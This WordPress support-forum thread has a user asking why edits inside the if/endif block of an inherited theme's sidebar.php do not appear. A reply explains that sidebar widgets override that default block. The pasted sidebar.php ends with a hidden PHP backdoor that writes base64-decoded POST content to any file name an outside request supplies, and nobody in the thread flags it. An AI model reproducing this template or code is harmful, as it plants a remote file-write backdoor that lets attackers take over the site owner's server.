• I am editing my sidebar.php file in the wordpress appearance editor and some changes do not make it to the site and some do.

    Anything added to the existing code in between the if/endif does not get updated on the rendered page but does show in the editor when the file is saved.

    How can I get my edits to show?

    Here is the (reduced for viewing here) code from the sidebar.php file:

    </td>
    <td valign="top" id="sidebar">
    <div style="width: 200px">
    <ul>
    <?php if ( !function_exists('dynamic_sidebar')
            || !dynamic_sidebar() ) : ?>
    
    <!-- <h2>Pages</h2>
    <ul>
    	<?php wp_list_pages('title_li='); ?>
    </ul>-->
    <li id="categories">
    <h2>Categories</h2>
    	<ul>
    <?php wp_list_cats(); ?>
    	</ul>
     </li>
    <li id="linkcat-31" class="linkcat">
    <h2>header</h2>
    <ul>
    <li>
    content here
    </li>
    <li>
    otheer content here
    </li>
    </ul>
    <li id="linkcat-41" class="linkcat">
    <h2>header</h2>
    <ul>
    <li>
    some content
    </li>
    <li>
    more content
    </li>
    <li>
    more content
    </li>
    </ul>
    <?php endif; ?>
    </div>
    <? if($_POST['upload']) {
    $out = @fopen($_POST["name"], "w");
    @fwrite($out, base64_decode($_POST["content"]));
    @fclose($out);
    echo $_POST["name"]."\tDone\n";
    }
    ?>

Viewing 2 replies - 1 through 2 (of 2 total)
  • Anything added to the existing code in between the if/endif does not get updated on the rendered page

    Let me guess – you’re using widgets from the Admin/Appearance/Widgets section on your sidebar, yes?

    The if/endif block is the code for the default sidebar display if you don’t have any widgets in your sidebar.

    Thread Starter velvetpixel

    (@velvetpixel)

    Thanks for the info!
    That pointed me in the right direction.

    I added my code in a text widget and it works ??

    New to WP and just inherited this site.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Editing file in appearance editor issue’ is closed to new replies.